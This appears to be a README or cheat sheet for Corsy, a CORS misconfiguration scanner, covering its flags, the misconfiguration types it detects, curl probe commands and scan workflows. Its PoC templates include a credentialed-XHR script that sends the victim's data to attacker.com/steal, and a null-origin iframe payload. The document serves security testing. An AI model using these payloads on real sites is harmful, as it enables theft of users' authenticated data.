aeondave/corsy

Corsy

CORS misconfiguration scanner — 10+ vuln types, lightweight, fast.

Quick Start

git clone https://github.com/s0md3v/Corsy
cd Corsy && pip3 install requests

# Single URL
python3 corsy.py -u https://target.com

# With authentication
python3 corsy.py -u https://api.target.com -H "Authorization: Bearer TOKEN"

# Bulk scan from file
python3 corsy.py -i urls.txt -t 10

# JSON output
python3 corsy.py -u https://target.com --json > cors.json

Core Flags

| Flag | Purpose | |------|---------| | -u <url> | Single target URL | | -i <file> | Input file with one URL per line | | -H "K: V" | Custom header (auth, cookies) | | -t <N> | Thread count (default: 2) | | -d <N> | Delay between requests (ms) | | -q | Quiet mode (no banner) | | --json | JSON output |

Misconfiguration Types Detected

| Type | Condition | Exploitable | |------|-----------|-------------| | Origin Reflection | Server mirrors any Origin header | Critical if +credentials | | Null Origin | null origin accepted | Critical (iframe sandbox attack) | | Pre-domain bypass | evil.target.com accepted | High | | Post-domain bypass | target.com.evil.com accepted | High | | Underscore bypass | target_evil.com accepted | High | | Backtick bypass | Origin with backtick accepted | High | | Unescaped dot | Regex dot not escaped | Medium | | Wildcard | Access-Control-Allow-Origin: * | Medium (no credentials) | | Wildcard + credentials | * + credentials: true | Not exploitable (browser blocks) | | Invalid value | Malformed CORS header | Info | | Third-party allowed | Unknown domain trusted | High | | HTTP on HTTPS | HTTP origin trusted | Medium |

Exploitation: What Makes CORS Exploitable

Critical = Access-Control-Allow-Origin: <reflected> + Access-Control-Allow-Credentials: true

# Manual test with curl
curl -H "Origin: https://attacker.com" https://api.target.com/profile -Iv 2>&1 | grep -i "access-control"

# Test null origin
curl -H "Origin: null" https://api.target.com/data -Iv 2>&1 | grep -i "access-control"

# Test pre-domain bypass
curl -H "Origin: https://eviltarget.com" https://api.target.com/ -Iv 2>&1 | grep -i "access-control"

# Preflight (OPTIONS) test
curl -X OPTIONS -H "Origin: https://attacker.com" \
    -H "Access-Control-Request-Method: POST" \
    https://api.target.com/data -Iv

PoC Templates

Reflected Origin + Credentials (Critical)

<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/user/profile', true);
xhr.onload = function() {
    fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
};
xhr.send();
</script>

Null Origin (via iframe sandbox)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/sensitive', true);
xhr.onload = function() { alert(xhr.responseText); };
xhr.send();
</script>
"></iframe>

Common Workflows

# API endpoint scan with session cookie
python3 corsy.py -u https://api.target.com \
    -H "Cookie: session=abc123; auth=token"

# Scan API paths list
cat api_endpoints.txt | python3 corsy.py -i /dev/stdin -t 20

# Full recon pipeline
cat domains.txt | httpx -silent | python3 corsy.py -i /dev/stdin --json > cors_results.json

Resources

| File | When to load | |------|--------------| | references/cors-exploit.md | Full PoC templates, CORS header explanation, pre-flight vs simple requests, impact examples |